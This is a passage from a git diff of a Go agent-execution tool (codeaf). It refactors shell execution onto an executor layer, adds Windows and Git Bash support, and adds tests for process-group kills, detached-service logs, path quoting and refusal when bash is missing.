testProcessSignal(pid, 0); err == nil { t.Fatalf("process %d survived scheduler abandonment", pid) } } diff --git a/internal/exec/jobs_unix_test.go b/internal/exec/jobs_unix_test.go new file mode 100644 index 0000000000..12a7cce90a --- /dev/null +++ b/internal/exec/jobs_unix_test.go @@ -0,0 +1,131 @@ +//go:build !windows + +package exec + +import ( + "context" + "os" + "path/filepath" + "strconv" + "strings" + "sync/atomic" + "testing" + "time" + + "github.com/Agent-Field/agentfield/sdk/go/ai" +) + +// K6 preserves the POSIX process-group assertions where shell $$/$! are OS +// PIDs. Git Bash uses MSYS PIDs, which cannot probe native process identities. +func TestJobKillTerminatesTheWholeProcessGroup(t *testing.T) { + tools, space := backgroundToolbox(t) + command := `{"cmd":"bash -c 'sleep 30 & echo $! > child.pid; sleep 30'","bg":true}` + if result := tools.Execute(context.Background(), "sh", command); result.IsError { + t.Fatal(result.Content) + } + pidText := strings.TrimSpace(waitForFileText(t, filepath.Join(space.Root(), "child.pid"), "")) + childPID, err := strconv.Atoi(pidText) + if err != nil { + t.Fatalf("child pid %q: %v", pidText, err) + } + result := tools.Execute(context.Background(), "job", `{"id":1,"kill":true}`) + if result.IsError || !strings.Contains(result.Content, "killed") { + t.Fatalf("kill result = %+v", result) + } + deadline := time.Now().Add(slack(3 * time.Second)) + for time.Now().Before(deadline) && testProcessSignal(childPID, 0) == nil { + time.Sleep(20 * time.Millisecond) + } + if err := testProcessSignal(childPID, 0); err == nil { + t.Fatalf("grandchild %d survived process-group kill", childPID) + } +} + +// K6 retains the POSIX $! process-group assertion where it identifies an OS process. +func TestExitedBackgroundShellDoesNotLeaveDetachedChildren(t *testing.T) { + tools, space := backgroundToolbox(t) + command := `{"cmd":"sleep 30 & echo $! > detached.pid","bg":true}` + if result := tools.Execute(context.Background(), "sh", command); result.IsError { + t.Fatal(result.Content) + } + pidText := strings.TrimSpace(waitForFileText(t, filepath.Join(space.Root(), "detached.pid"), "")) + childPID, err := strconv.Atoi(pidText) + if err != nil { + t.Fatalf("child pid %q: %v", pidText, err) + } + waitForJobDone(t, tools, 1, 5*time.Second) + if err := testProcessSignal(childPID, 0); err == nil { + t.Fatalf("detached child %d survived its background shell", childPID) + } +} + +type backgroundThenFinalCompleter struct { + space *Workspace + calls atomic.Int32 + survivorStarted time.Time +} + +func (c *backgroundThenFinalCompleter) CompleteWithMessages(ctx context.Context, _ []ai.Message, _ ...ai.Option) (*ai.Response, error) { + if c.calls.Add(1) == 1 { + return &ai.Response{Choices: []ai.Choice{{Message: ai.Message{ + Role: "assistant", ToolCalls: []ai.ToolCall{call("bg", "sh", `{"cmd":"echo $$ > survivor.pid; sleep 30","bg":true}`)}, + }}}, Usage: &ai.Usage{}}, nil + } + path := filepath.Join(c.space.Root(), "survivor.pid") + for { + if pidBody, err := os.ReadFile(path); err == nil { + pid, _ := strconv.Atoi(strings.TrimSpace(string(pidBody))) + if started, identityErr := ProcessStartTime(pid); identityErr == nil { + c.survivorStarted = started + return &ai.Response{Choices: []ai.Choice{{Message: ai.Message{ + Role: "assistant", Content: []ai.ContentPart{{Type: "text", Text: "done"}}, + }}}, Usage: &ai.Usage{}}, nil + } + } + select { + case <-ctx.Done(): + return nil, ctx.Err() + case <-time.After(20 * time.Millisecond): + } + } +} + +// K6 uses the POSIX shell PID to check the same process identity after leaf teardown. +func TestLeafEndTerminatesSurvivorsAndNotesCount(t *testing.T) { + + space := workspace(t) + client := &backgroundThenFinalCompleter{space: space} + linear := NewLinear(client, space, nil, 5, 1_000_000, time.Minute) + outcome, err := linear.Run(context.Background(), Task{NodeID: 1, Brief: "start a server"}) + if err != nil { + t.Fatal(err) + } + if !strings.Contains(outcome.Text, "1 background jobs terminated at leaf end") { + t.Fatalf("leaf result omitted teardown: %q", outcome.Text) + } + pidBody, err := os.ReadFile(filepath.Join(space.Root(), "survivor.pid")) + if err != nil { + logBody, _ := os.ReadFile(filepath.Join(space.Root(), jobsDir, jobLogName("1", 1))) + t.Fatalf("survivor did not start: %v; log=%q artifacts=%v", err, logBody, outcome.Artifacts) + } + pid, _ := strconv.Atoi(strings.TrimSpace(string(pidBody))) + if started, err := ProcessStartTime(pid); err == nil && started.Equal(client.survivorStarted) { + t.Fatalf("process %d survived leaf end", pid) + } + if _, ok := space.Locate(filepath.Join(jobsDir, jobLogName("1", 1))); !ok { + t.Fatal("the job log was not retained past leaf end") + } + // The job log is machinery and stays out of the answer. survivor.pid is not: + // a background command wrote it into the workspace, no write tool ever heard + // about it, and the tree diff is the only thing that can see it — which is + // the whole of rule 2. The assertion used to be "nothing at all", which was + // only true while the file a shell wrote was invisible. + for _, path := range outcome.Artifacts { + if strings.HasPrefix(path, jobsDir) { + t.Fatalf("leaf artifacts = %v, want the job log held out of the job's own output", outcome.Artifacts) + } + } + if len(outcome.Artifacts) != 1 || outcome.Artifacts[0] != "survivor.pid" { + t.Fatalf("leaf artifacts = %v, want the file the background command wrote", outcome.Artifacts) + } +} diff --git a/internal/exec/layout_test.go b/internal/exec/layout_test.go index 4948d72c49..73bba98e9a 100644 --- a/internal/exec/layout_test.go +++ b/internal/exec/layout_test.go @@ -75,7 +75,8 @@ func TestTheLeafsWorkingDirectoryHoldsNoMachinery(t *testing.T) { } // The spill pointer is the one machinery path a leaf is deliberately sent to, // so it has to name somewhere the leaf can actually open from its own cwd. - if !strings.Contains(spilled.Content, scratch) { + // K3 keeps the absolute scratch address in its serialized slash spelling. + if !strings.Contains(spilled.Content, filepath.ToSlash(scratch)) { t.Fatalf("the spill pointer is not an absolute path into the scratch home: %q", spilled.Content) } } diff --git a/internal/exec/linear_test.go b/internal/exec/linear_test.go index df05c26cc9..3651b6c4f5 100644 --- a/internal/exec/linear_test.go +++ b/internal/exec/linear_test.go @@ -262,7 +262,7 @@ func TestRepeatedReadAfterEditSeesTheNewContent(t *testing.T) { } } -// TestResolveAcceptsAbsolutePathsInsideTheWorkspace guards the rule that cost +// K3/K6: TestResolveAcceptsAbsolutePathsInsideTheWorkspace guards the rule that cost // a run its deliverable: an agent that just ran pwd writes absolute paths in // good faith, and on macOS the same workspace has two spellings because /tmp // is a symlink to /private/tmp. @@ -278,7 +278,7 @@ func TestResolveAcceptsAbsolutePathsInsideTheWorkspace(t *testing.T) { t.Fatalf("Resolve(%q) = %q, want %q", inside, resolved, want) } } - if _, err := space.Resolve("/somewhere/else/entirely"); err == nil { + if _, err := space.Resolve(filepath.Join(filepath.VolumeName(space.Root())+string(filepath.Separator), "somewhere", "else", "entirely")); err == nil { t.Fatal("Resolve accepted a path outside the workspace") } if _, err := space.Resolve("../sibling"); err == nil { diff --git a/internal/exec/process_signal_unix_test.go b/internal/exec/process_signal_unix_test.go new file mode 100644 index 0000000000..a017d64fa9 --- /dev/null +++ b/internal/exec/process_signal_unix_test.go @@ -0,0 +1,9 @@ +//go:build !windows + +package exec + +import "syscall" + +// C10 keeps the existing Unix signal probes unchanged while allowing the native +// Windows contract tests to compile in the same test package. +func testProcessSignal(pid int, signal syscall.Signal) error { return syscall.Kill(pid, signal) } diff --git a/internal/exec/process_signal_windows_test.go b/internal/exec/process_signal_windows_test.go new file mode 100644 index 0000000000..b224d7ba61 --- /dev/null +++ b/internal/exec/process_signal_windows_test.go @@ -0,0 +1,31 @@ +//go:build windows + +package exec + +import ( + "syscall" + + "github.com/Agent-Field/codeaf/internal/processgroup" +) + +// C10 uses the platform's own process probes; Windows has no kill syscall. +func testProcessSignal(pid int, signal syscall.Signal) error { + group := pid < 0 + if group { + pid = -pid + } + if signal == 0 { + alive := processgroup.ProcessAlive(pid) + if group { + alive = processgroup.Alive(pid) + } + if alive { + return nil + } + return syscall.ESRCH + } + if signal == syscall.SIGKILL { + return processgroup.Kill(pid) + } + return processgroup.Terminate(pid) +} diff --git a/internal/exec/rtk_test.go b/internal/exec/rtk_test.go index 2644acda15..0596e657df 100644 --- a/internal/exec/rtk_test.go +++ b/internal/exec/rtk_test.go @@ -30,10 +30,7 @@ func compressorBench(t *testing.T) (*Toolbox, string, func() []string) { if err != nil { t.Fatal(err) } - binary := filepath.Join(t.TempDir(), "rtk") - if err := os.WriteFile(binary, source, 0o700); err != nil { - t.Fatal(err) - } + binary := fixtureExecutable(t, filepath.Join(t.TempDir(), "rtk"), source, 0o700) logPath := filepath.Join(t.TempDir(), "asked.log") t.Setenv("CODEAF_RTK_STUB_LOG", logPath) t.Setenv(rtk.EnvBinary, binary) diff --git a/internal/exec/services.go b/internal/exec/services.go index c4bcd6473d..c6fac42f2e 100644 --- a/internal/exec/services.go +++ b/internal/exec/services.go @@ -1,6 +1,7 @@ package exec import ( + "context" "errors" "fmt" "io" @@ -9,7 +10,9 @@ import ( "strings" "time" + "github.com/Agent-Field/codeaf/internal/executor" "github.com/Agent-Field/codeaf/internal/processgroup" + commandshell "github.com/Agent-Field/codeaf/internal/shell" ) const ( @@ -25,6 +28,7 @@ func ProcessStartTime(pid int) (time.Time, error) { if pid <= 0 { return time.Time{}, errors.New("invalid pid") } + //codeaf:plumbing ps read of a process start time command := exec.Command("ps", "-o", "lstart=", "-p", fmt.Sprint(pid)) // ps renders lstart in the caller's locale, which reorders month and day. // Asking for C makes the one format we depend on the one we get; the @@ -60,13 +64,15 @@ func ProcessIdentityMatches(pid int, startedAt time.Time) (bool, error) { // StartDetachedService uses the same shell, log, session/process-group shape // as background jobs. No pipe or resident goroutine is created. func StartDetachedService(command, dir, logPath string) (int, time.Time, error) { - logFile, err := os.OpenFile(logPath, os.O_CREATE|os.O_WRONLY|os.O_APPEND, 0o644) + logFile, err := commandshell.OpenLog(logPath, 0o644) if err != nil { return 0, time.Time{}, err } - cmd := exec.Command("bash", "-lc", command) - configureDetachedCommand(cmd, dir, logFile) - if err := cmd.Start(); err != nil { + cmd, err := detachedCommand(executor.Host, context.Background(), dir, command, nil, logFile, 0) + if err == nil { + err = cmd.Start() + } + if err != nil { _ = logFile.Close() return 0, time.Time{}, err } @@ -82,13 +88,26 @@ func StartDetachedService(command, dir, logPath string) (int, time.Time, error) return pid, started, nil } -func configureDetachedCommand(cmd *exec.Cmd, dir string, output io.Writer) { - cmd.Dir = dir - cmd.Stdout = output - cmd.Stderr = output - // A new session is also a new process group. It preserves group-wide job - // teardown and lets an adopted service survive the chat terminal closing. - processgroup.ConfigureDetached(cmd) +// detachedCommand builds the shell command a background job or service runs +// as: a login bash in dir, in a session of its own, writing to one shared +// output. A new session is also a new process group; it preserves group-wide +// job teardown and lets an adopted service survive the chat terminal closing. +func detachedCommand( + seat executor.Seat, ctx context.Context, dir, command string, environment []string, output io.Writer, wait time.Duration, +) (*exec.Cmd, error) { + bash, err := commandshell.Bash() + if err != nil { + return nil, err + } + cmd, err := seat.In(dir).Command(ctx, executor.ExecRequest{ + Argv: []string{bash, "-lc", command}, Env: environment, + Group: executor.GroupSession, WaitDelay: wait, + }) + if err != nil { + return nil, err + } + cmd.Stdout, cmd.Stderr = output, output + return cmd, nil } // StopServiceProcess terminates the whole detached session, preserving the diff --git a/internal/exec/services_test.go b/internal/exec/services_test.go index 051b429d15..b65efbced6 100644 --- a/internal/exec/services_test.go +++ b/internal/exec/services_test.go @@ -1,3 +1,5 @@ +//go:build !windows + package exec import ( @@ -18,7 +20,7 @@ func TestStopServiceProcessEscalatesFromTermToKill(t *testing.T) { if err != nil { t.Fatalf("start detached service: %v", err) } - defer syscall.Kill(-pid, syscall.SIGKILL) + defer testProcessSignal(-pid, syscall.SIGKILL) if startedAt.IsZero() { t.Fatal("detached service recorded no start time") } @@ -63,7 +65,7 @@ func TestProcessIdentityRefusesPIDReuse(t *testing.T) { if err != nil { t.Fatalf("start detached service: %v", err) } - defer syscall.Kill(-pid, syscall.SIGKILL) + defer testProcessSignal(-pid, syscall.SIGKILL) matched, err := ProcessIdentityMatches(pid, startedAt) if err != nil || !matched { diff --git a/internal/exec/shell_windows_test.go b/internal/exec/shell_windows_test.go new file mode 100644 index 0000000000..5394801037 --- /dev/null +++ b/internal/exec/shell_windows_test.go @@ -0,0 +1,175 @@ +//go:build windows + +package exec + +import ( + "context" + "os" + "path/filepath" + "strings" + "testing" + "time" + + "github.com/Agent-Field/codeaf/internal/processgroup" + "github.com/Agent-Field/codeaf/internal/rtk" + commandshell "github.com/Agent-Field/codeaf/internal/shell" + "github.com/Agent-Field/codeaf/internal/store" +) + +// N2 proves the detached-service door gives Git Bash a writable output handle, +// appending stdout and stderr after earlier bytes instead of dying silently. +func TestWindowsDetachedServiceWritesLog(t *testing.T) { + requireWindowsBash(t) + dir := t.TempDir() + path := filepath.Join(dir, "service.log") + if err := os.WriteFile(path, []byte("earlier\n"), 0o644); err != nil { + t.Fatal(err) + } + pid, _, err := StartDetachedService("printf 'stdout\\n'; printf 'stderr\\n' >&2", dir, path) + if err != nil { + t.Fatal(err) + } + t.Cleanup(func() { _ = processgroup.Kill(pid) }) + deadline := time.After(20 * time.Second) + tick := time.NewTicker(20 * time.Millisecond) + defer tick.Stop() + for { + body, err := os.ReadFile(path) + if err != nil { + t.Fatal(err) + } + if string(body) == "earlier\nstdout\nstderr\n" { + return + } + select { + case <-deadline: + t.Fatalf("service log = %q", body) + case <-tick.C: + } + } +} + +func requireWindowsBash(t *testing.T) { + t.Helper() + if _, err := commandshell.Bash(); err != nil { + t.Skipf("Git Bash is required for native command-door tests: %v", err) + } + t.Setenv("CODEAF_HOME", t.TempDir()) + t.Setenv("HOME", t.TempDir()) +} + +func windowsBackgroundOutput(t *testing.T, box *Toolbox, command string) string { + t.Helper() + result := box.startBackground(context.Background(), command, map[string]any{}) + if result.IsError { + t.Fatalf("job refused: %s", result.Content) + } + box.jobs.mutex.Lock() + var job *backgroundJob + for _, one := range box.jobs.jobs { + if job == nil || one.id > job.id { + job = one + } + } + box.jobs.mutex.Unlock() + if job == nil { + t.Fatal("job was not registered") + } + select { + case <-job.done: + case <-time.After(20 * time.Second): + t.Fatal("Windows job did not finish") + } + body, err := os.ReadFile(job.fullPath) + if err != nil || job.exitCode != 0 { + t.Fatalf("job output %q, exit %d, error %v", body, job.exitCode, err) + } + return string(body) +} + +// N2 proves both real Toolbox shell doors parse once and retain multiline text, +// quotes, backslashes, percent signs, substitutions and non-ASCII bytes. +func TestWindowsToolboxSingleParse(t *testing.T) { + requireWindowsBash(t) + box, _ := backgroundToolbox(t) + literal := "\" ' \\ %PATH% $(echo WRONG) héllo ✓" + command := "export PATH='/c/Program Files (x86)/test':$PATH\nx=inner; echo \"x=[$x]\"\nprintf 'line two\\n'\ncat <<'CODEAF_LITERAL'\n" + literal + "\nCODEAF_LITERAL\n" + want := "x=[inner]\nline two\n" + literal + "\n" + run := box.runShell(context.Background(), command, 20, "") + if run.err != nil || run.body != want { + t.Fatalf("foreground: %q %v", run.body, run.err) + } + if got := windowsBackgroundOutput(t, box, command); got != want { + t.Fatalf("background: %q, want %q", got, want) + } +} + +// N2 proves skills and rtk shelf programs run by bare name through foreground +// and background doors while their exported variables retain native paths. +func TestWindowsToolboxShelves(t *testing.T) { + requireWindowsBash(t) + history, err := store.Open(filepath.Join(t.TempDir(), "history.db")) + if err != nil { + t.Fatal(err) + } + defer history.Close() + box := NewToolboxWithStore(workspace(t), "windows", nil, history) + t.Cleanup(func() { box.Close() }) + skills, err := store.SkillsBinDir() + if err != nil { + t.Fatal(err) + } + rtkDir := filepath.Join(t.TempDir(), "rtk shelf (héllo)") + for _, shelf := range []struct{ dir, name, body string }{ + {skills, "windows-skill", "printf 'SKILL=%s\\n' \"$CODEAF_SKILLS_BIN\""}, + {rtkDir, "windows-rtk", "printf 'RTK=%s\\n' \"$CODEAF_RTK_BIN\""}, + {rtkDir, "rtk.exe", "unused stub for shelf discovery"}, + } { + if err := os.MkdirAll(shelf.dir, 0o755); err != nil { + t.Fatal(err) + } + if err := os.WriteFile(filepath.Join(shelf.dir, shelf.name), []byte("#!/bin/sh\n"+shelf.body+"\n"), 0o755); err != nil { + t.Fatal(err) + } + } + rtkBin := filepath.Join(rtkDir, "rtk.exe") + t.Setenv(rtk.EnvBinary, rtkBin) + command := "windows-skill; windows-rtk" + want := "SKILL=" + skills + "\nRTK=" + rtkDir + "\n" + run := box.runShell(context.Background(), command, 20, rtkBin) + if run.err != nil || run.body != want { + t.Fatalf("foreground shelves: %q %v; want %q", run.body, run.err, want) + } + if got := windowsBackgroundOutput(t, box, command); got != want { + t.Fatalf("background shelves: %q; want %q", got, want) + } +} + +// N2 proves refusal happens before either real door starts a process or creates +// a job. A marker would expose a command run despite the explicit bad choice. +func TestWindowsToolboxRefusesMissingBash(t *testing.T) { + t.Setenv("CODEAF_HOME", t.TempDir()) + t.Setenv("HOME", t.TempDir()) + box, space := backgroundToolbox(t) + missing := filepath.Join(t.TempDir(), "missing bash.exe") + t.Setenv("CODEAF_BASH", missing) + for _, definition := range box.Definitions() { + if definition.Function.Name == "sh" { + t.Fatal("unusable shell is advertised") + } + } + command := "echo WRONG > should-not-exist" + run := box.runShell(context.Background(), command, 20, "").result(20) + job := box.startBackground(context.Background(), command, map[string]any{}) + for _, result := range []Result{run, job} { + if !result.IsError || !strings.Contains(result.Content, "CODEAF_BASH") || !strings.Contains(result.Content, missing) { + t.Fatalf("refusal: %+v", result) + } + } + if len(box.jobs.jobs) != 0 { + t.Fatal("refused job was registered") + } + if _, err := os.Stat(filepath.Join(space.Root(), "should-not-exist")); !os.IsNotExist(err) { + t.Fatalf("command ran: %v", err) + } +} diff --git a/internal/exec/toolresult_test.go b/internal/exec/toolresult_test.go index cb4191113d..9e97b3269f 100644 --- a/internal/exec/toolresult_test.go +++ b/internal/exec/toolresult_test.go @@ -149,12 +149,17 @@ func TestATruncationWithNowhereToSpillSaysSo(t *testing.T) { } } -// End to end, through the tool the whole thing exists for: a command that +// K3: end to end, through the tool the whole thing exists for: a command that // prints more than the leaf can hold leaves the tail in context, the whole // output on disk, and a command that reads the head back — and running that // command works. func TestALoudCommandLeavesItsTailInContextAndTheWholeOnDisk(t *testing.T) { - space := workspace(t) + loudCommandRoundTrip(t, workspace(t)) +} + +// K3 keeps the same end-to-end assertion usable with native scratch layouts. +func loudCommandRoundTrip(t *testing.T, space *Workspace) { + t.Helper() tools := NewToolbox(space, "9", nil) result := tools.Execute(t.Context(), "sh", `{"cmd":"awk 'BEGIN{for(i=1;i<=20000;i++) printf \"line %d of a very loud command\\n\", i}'"}`) diff --git a/internal/exec/toolresult_windows_test.go b/internal/exec/toolresult_windows_test.go new file mode 100644 index 0000000000..78564e426b --- /dev/null +++ b/internal/exec/toolresult_windows_test.go @@ -0,0 +1,14 @@ +//go:build windows + +package exec + +import ( + "path/filepath" + "testing" +) + +// K3 proves the exact offered shell command can read a native external scratch +// folder with spaces and an apostrophe, as well as the relative layout above. +func TestK3WindowsSpillNoticeReadsExternalScratch(t *testing.T) { + loudCommandRoundTrip(t, workspace(t).WithScratch(filepath.Join(t.TempDir(), "saved output's folder"))) +} diff --git a/internal/exec/tools.go b/internal/exec/tools.go index e822d50ba2..c64caa60c9 100644 --- a/internal/exec/tools.go +++ b/internal/exec/tools.go @@ -3,11 +3,9 @@ package exec import ( "context" "encoding/json" - "errors" "fmt" "io" "os" - "os/exec" "path/filepath" "regexp" "sort" @@ -22,9 +20,10 @@ import ( "github.com/Agent-Field/codeaf/internal/config" "github.com/Agent-Field/codeaf/internal/ctxbudget" "github.com/Agent-Field/codeaf/internal/env" + "github.com/Agent-Field/codeaf/internal/executor" "github.com/Agent-Field/codeaf/internal/guard" - "github.com/Agent-Field/codeaf/internal/processgroup" "github.com/Agent-Field/codeaf/internal/rtk" + commandshell "github.com/Agent-Field/codeaf/internal/shell" "github.com/Agent-Field/codeaf/internal/store" ) @@ -292,20 +291,30 @@ func (c truncation) notice() string { // the window that was kept, so a model that keeps issuing it walks the file at // a pace its context can hold. func (c truncation) command() string { + // K3/I0: the notice is shell input. Native separators otherwise disappear + // as escapes, and a separate scratch folder may contain shell punctuation. + // Unix command bytes stay unchanged at this platform conversion door. + path := filepath.ToSlash(c.spill.path) + if filepath.IsAbs(c.spill.path) { + path = commandshell.ListPath(c.spill.path) + } + if path != c.spill.path || filepath.Separator == '\\' && strings.ContainsAny(path, " \t\r\n'\"`$;&|<>()[]{}*?!#~") { + path = "'" + strings.ReplaceAll(path, "'", "'\"'\"'") + "'" + } switch { case c.keptLines == 0 && c.tail: return fmt.Sprintf("read that line from the start with sh: sed -n '%dp' %s | head -c %d", - c.totalLines, c.spill.path, c.byteWindow) + c.totalLines, path, c.byteWindow) case c.keptLines == 0: return fmt.Sprintf("read on with sh: sed -n '1p' %s | cut -b %d-%d", - c.spill.path, len(c.kept)+1, len(c.kept)+c.byteWindow) + path, len(c.kept)+1, len(c.kept)+c.byteWindow) case c.tail: first := c.totalLines - c.keptLines + 1 window := min(c.lineWindow, first-1) - return fmt.Sprintf("read the start with sh: sed -n '1,%dp' %s", window, c.spill.path) + return fmt.Sprintf("read the start with sh: sed -n '1,%dp' %s", window, path) default: return fmt.Sprintf("continue with sh: sed -n '%d,%dp' %s", - c.keptLines+1, c.keptLines+c.lineWindow, c.spill.path) + c.keptLines+1, c.keptLines+c.lineWindow, path) } } @@ -808,6 +817,11 @@ func (t *Toolbox) Definitions() []ai.ToolDefinition { "n": prop("integer", "max search results, default 6"), }), } + // An unavailable shell has no schema; direct callers still get the shared + // installation remedy before a process or background job can be created. + if _, err := commandshell.Bash(); err != nil { + definitions = definitions[1:] + } // Stratum 2: the door to the optional families. Its presence follows the // machine's wiring and nothing else, so it is in the same slot on every turn // of every leaf of a run, or on none of them. @@ -1376,7 +1390,7 @@ func (t *Toolbox) openSpill() (io.WriteCloser, string, bool) { if err != nil { return nil, "", false } - return file, shown, true + return file, filepath.ToSlash(shown), true } // decaySpill preserves a decaying observation's full body under the @@ -1401,7 +1415,7 @@ func (t *Toolbox) writeObs(name, content string) (string, bool) { if err := os.WriteFile(full, []byte(content), 0o644); err != nil { return "", false } - return shown, true + return filepath.ToSlash(shown), true } var unsafeName = regexp.MustCompile(`[^A-Za-z0-9_-]+`) @@ -1459,6 +1473,9 @@ func (t *Toolbox) sh(ctx context.Context, args map[string]any) Result { if command == "" { return errorf("sh needs cmd") } + if _, err := commandshell.Bash(); err != nil { + return errorf("%s", err) + } if boolArg(args, "bg") { // A background job is deliberately never compressed. Its output is // watched rather than read — readiness loops grep the log, the job tool @@ -1510,6 +1527,9 @@ type shellRun struct { // bounded says the body was cut as it streamed and already carries its own // truncation notice naming the file the whole output went to. bounded bool + // refused keeps discovery errors in the shared remedy's exact words, before + // any process has started or produced an exit status. + refused bool } // trustworthy asks whether a wrapped run may stand as the answer. @@ -1537,6 +1557,9 @@ func (r shellRun) trustworthy(class rtk.Class) bool { // comes off the front. bounded rides along so the turn boundary does not cut an // already-cut body a second time. func (r shellRun) result(seconds int) Result { + if r.refused { + return Result{Content: r.err.Error(), IsError: true, shape: shapeCommand} + } if r.timedOut { out := errorf("command timed out after %ds. Partial output:\n%s", seconds, r.body) out.shape, out.bounded, out.timedOut = shapeCommand, r.bounded, true @@ -1565,6 +1588,10 @@ func (r shellRun) result(seconds int) Result { // resolved rtk when this is a wrapped run and empty otherwise; a rewritten line // calls rtk by bare name, so its shelf goes on PATH here. func (t *Toolbox) runShell(ctx context.Context, command string, seconds int, rtkBin string) shellRun { + bash, err := commandshell.Bash() + if err != nil { + return shellRun{err: err, exitCode: 127, refused: true} + } runCtx, cancel := context.WithTimeout(ctx, time.Duration(seconds)*time.Second) defer cancel() var environment []string @@ -1576,7 +1603,7 @@ func (t *Toolbox) runShell(ctx context.Context, command string, seconds int, rtk environment = os.Environ() environment = replaceEnv(environment, "CODEAF_SKILLS_BIN", bin) environment = replaceEnv(environment, env.Legacy("CODEAF_SKILLS_BIN"), bin) - command = "export PATH=\"${CODEAF_SKILLS_BIN:?}:$PATH\"\n" + command + command = commandshell.PathExport("CODEAF_SKILLS_BIN", bin) + command } } if rtkBin != "" { @@ -1585,7 +1612,7 @@ func (t *Toolbox) runShell(ctx context.Context, command string, seconds int, rtk } environment = replaceEnv(environment, "CODEAF_RTK_BIN", filepath.Dir(rtkBin)) environment = replaceEnv(environment, env.Legacy("CODEAF_RTK_BIN"), filepath.Dir(rtkBin)) - command = "export PATH=\"${CODEAF_RTK_BIN:?}:$PATH\"\n" + command + command = commandshell.PathExport("CODEAF_RTK_BIN", filepath.Dir(rtkBin)) + command } // A COMMAND THE MODEL RUNS MUST NOT REACH THE TMUX SERVER HOSTING CODEAF, // and here the bare path used to hand the child its parent's whole @@ -1593,24 +1620,14 @@ func (t *Toolbox) runShell(ctx context.Context, command string, seconds int, rtk // names a private socket directory even in that nil case (tools.go). environment = JobShellEnv(environment) - cmd := exec.CommandContext(runCtx, "bash", "-lc", command) - cmd.Dir = t.workspace.Root() - cmd.Env = environment // A command that leaves a background child sharing its stdout used to hang // the whole run: killing bash at the timeout is not enough, because Wait // blocks until every inherited pipe writer exits, and a scheduler goroutine - // stuck there wedges the graph silently and forever. The process group - // makes the timeout kill reach grandchildren, and WaitDelay force-closes - // the pipes shortly after bash itself is gone for anything that survives — - // a stuck tool call must cost its timeout, never the run. - processgroup.Configure(cmd) - cmd.Cancel = func() error { - if cmd.Process == nil { - return os.ErrProcessDone - } - return processgroup.Kill(cmd.Process.Pid) - } - cmd.WaitDelay = 3 * time.Second + // stuck there wedges the graph silently and forever. The executor puts the + // command in its own process group so the timeout kill reaches grandchildren, + // and WaitDelay force-closes the pipes shortly after bash itself is gone for + // anything that survives — a stuck tool call must cost its timeout, never + // the run. // Collected rather than read whole. A command inside a fifteen-minute call // may print hundreds of megabytes and all but twelve kilobytes of them are // discarded a line later; the collector keeps only the part that survives, @@ -1628,25 +1645,28 @@ func (t *Toolbox) runShell(ctx context.Context, command string, seconds int, rtk // than that. Everything past the first is teed to a file as it arrives, so // the notice that ends up in context names a command that actually works. collected := newCappedOutput(strip, t.budgets.spill, t.budgets.preview, t.openSpill) - cmd.Stdout, cmd.Stderr = collected, collected - err := cmd.Run() + res, err := executor.For(runCtx).In(t.workspace.Root()).Exec(runCtx, executor.ExecRequest{ + Argv: []string{bash, "-lc", command}, Env: environment, + WaitDelay: 3 * time.Second, Combined: true, Stream: true, + }, func(c executor.Chunk) { _, _ = collected.Write(c.Data) }) + if res.Status != "" { + err = res.Failure() // the process ran: its own status is the outcome + } run := shellRun{body: collected.String(), bounded: collected.truncated(), - err: err, exitCode: exitCode(cmd, err)} + err: err, exitCode: exitCode(res, err)} run.timedOut = runCtx.Err() == context.DeadlineExceeded - run.detached = errors.Is(err, exec.ErrWaitDelay) + run.detached = res.PipesForced return run } -func exitCode(cmd *exec.Cmd, err error) int { - if err == nil { +func exitCode(res executor.ExecResult, err error) int { + switch { + case err == nil: return 0 + case res.Status == "": + return -1 // never started } - if cmd.ProcessState != nil { - if code := cmd.ProcessState.ExitCode(); code >= 0 { - return code - } - } - return -1 + return res.Exit } func (t *Toolbox) write(args map[string]any) Result { diff --git a/internal/exec/worker_law_test.go b/internal/exec/worker_law_test.go index 9249d6ce3c..5039d69dee 100644 --- a/internal/exec/worker_law_test.go +++ b/internal/exec/worker_law_test.go @@ -232,8 +232,11 @@ func TestNothingInTheTreeNamesARemovedWorker(t *testing.T) { if relErr != nil { return relErr } + // K6: the skip table uses repository paths on every host. Normalize the + // walk's native spelling so the law excludes its own required examples. + relative = filepath.ToSlash(relative) for skipped := range namesLawSkipped { - if relative == skipped || strings.HasPrefix(relative, skipped+string(filepath.Separator)) { + if relative == skipped || strings.HasPrefix(relative, skipped+"/") { if entry.IsDir() { return filepath.SkipDir } diff --git a/internal/executor/c18_off_test.go b/internal/executor/c18_off_test.go new file mode 100644 index 0000000000..405a995ba3 --- /dev/null +++ b/internal/executor/c18_off_test.go @@ -0,0 +1,37 @@ +package executor + +import ( + "context" + "os" + "path/filepath" + "strings" + "testing" + + "github.com/Agent-Field/codeaf/internal/cell" +) + +// C18 preserves ordinary host shell text when the engine is unavailable. +func TestC18CellsOffHostKeepsOrdinaryShellBehavior(t *testing.T) { + t.Cleanup(cell.UseAvailabilityInTests(false)) + r, err := Host.In(t.TempDir()).Exec(context.Background(), ExecRequest{Argv: []string{"bash", "-lc", "printf '%s' '.cell'"}}, nil) + if err != nil || strings.TrimSpace(string(r.Stdout)) != ".cell" { + t.Fatalf("no engine plain shell refused harmless text: output=%q error=%v", r.Stdout, err) + } +} + +// C18 preserves host shell text even beside a cell while keeping actual cell +// state protected for sandboxed tools that own that workspace. +func TestC18HostTextAndCellStateProtectionStayDistinct(t *testing.T) { + root := t.TempDir() + if err := os.Mkdir(filepath.Join(root, ".cell"), 0o700); err != nil { + t.Fatal(err) + } + req := ExecRequest{Argv: []string{"bash", "-lc", "printf '%s' '.cell'"}} + result, err := Host.In(root).Exec(t.Context(), req, nil) + if err != nil || string(result.Stdout) != ".cell" { + t.Fatalf("host shell text was filtered: %q %v", result.Stdout, err) + } + if _, err := (Local{Root: root, Class: Sandboxed}).Exec(t.Context(), req, nil); err == nil || !strings.Contains(err.Error(), "harness-owned .cell directory") { + t.Fatalf("cell state protection was lost: %v", err) + } +} diff --git a/internal/executor/drain_test.go b/internal/executor/drain_test.go new file mode 100644 index 0000000000..82d2d72f38 --- /dev/null +++ b/internal/executor/drain_test.go @@ -0,0 +1,29 @@ +package executor + +import ( + "context" + "runtime" + "testing" + "time" +) + +// C18 preserves dev's helpers without changing the executor's default bound +// or a caller's explicit bound. Late child output must survive an unbounded drain. +func TestUnboundedDrainRetainsChildOutput(t *testing.T) { + if runtime.GOOS == "windows" { + t.Skip("requires sh") + } + for _, bound := range []time.Duration{-1, 0, 50 * time.Millisecond} { + res, err := Host.In(t.TempDir()).Exec(context.Background(), ExecRequest{Argv: []string{"sh", "-c", "printf first; 